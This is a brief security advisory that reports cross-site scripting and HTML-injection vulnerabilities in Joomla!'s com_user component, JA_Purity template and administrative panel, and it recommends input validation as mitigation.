Multiple Cross-Site Scripting and HTML-Injection Vulnerabilities in Joomla!

Joomla! is prone to multiple cross-site scripting and HTML-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied input. These issues affect the 'com_user' component, the 'JA_Purity' template, and the administrative panel in the 'Site client' subproject of the application. An attacker can exploit these issues to steal cookie-based authentication credentials and launch other attacks.

Mitigation:

Input validation should be used to ensure that user-supplied data does not include malicious HTML or script code.
